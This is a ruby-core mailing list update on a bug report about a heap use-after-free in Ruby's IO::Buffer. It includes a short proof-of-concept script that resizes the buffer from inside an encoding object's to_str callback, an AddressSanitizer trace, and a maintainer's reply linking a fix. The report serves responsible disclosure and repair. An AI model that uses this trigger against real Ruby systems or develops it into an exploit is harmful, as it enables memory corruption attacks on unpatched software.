From: "peterzhu2118 (Peter Zhu) via ruby-core" <ruby-core@...>
Date: 2026-09-18T23:07:57+00:00
Subject: [ruby-core:126787] [Ruby Bug#22336] IO:Buffer Heap uaf

Issue #22336 has been updated by peterzhu2118 (Peter Zhu).

Backport changed from 3.3: UNKNOWN, 3.4: UNKNOWN, 4.0: UNKNOWN to 3.3: WONTFIX, 3.4: REQUIRED, 4.0: REQUIRED

Thank you for the bug report, I have [a fix here](https://github.com/ruby/ruby/pull/18919).

----------------------------------------
Bug #22336: IO:Buffer Heap uaf
https://bugs.ruby-lang.org/issues/22336#change-119090

* Author: danielchong (Daniel Chong)
* Status: Open
* ruby -v: 4.1.0-dev
* Backport: 3.3: WONTFIX, 3.4: REQUIRED, 4.0: REQUIRED
----------------------------------------
Hello, a UAF is possible in IO:Buffer.

PoC:
```
$buf = IO::Buffer.new(64)  
evil = Object.new
def evil.to_str
  $buf.resize(64 * 1024 * 1024) 
  "UTF-8"
end
$buf.get_string(0, 32, evil)   
```

ASAN (truncated):
```
ERROR: AddressSanitizer: heap-use-after-free ... READ of size 32
    #3 str_enc_new string.c:1109
    #4 io_buffer_get_string io_buffer.c:3276           <- USE (read from stale base)
freed by thread T0 here:
    #0 realloc
    #1 rb_io_buffer_resize io_buffer.c:2203            <- FREE (realloc move)
    #2 io_buffer_resize io_buffer.c:2249
    ...
    #16 rb_str_to_str string.c:1818
    #18 name_for_encoding encoding.c:296
    #20 rb_find_encoding encoding.c:345
    #21 io_buffer_get_string io_buffer.c:3266          <- reentrancy boundary (encoding to_str)
previously allocated by thread T0 here:
    #0 calloc
    #1 io_buffer_initialize io_buffer.c:216            <- original 64-byte INTERNAL buffer
```



-- 
https://bugs.ruby-lang.org/
______________________________________________
 ruby-core mailing list -- ruby-core@ml.ruby-lang.org
 To unsubscribe send an email to ruby-core-leave@ml.ruby-lang.org
 ruby-core info -- https://ml.ruby-lang.org/mailman3/lists/ruby-core.ml.ruby-lang.org/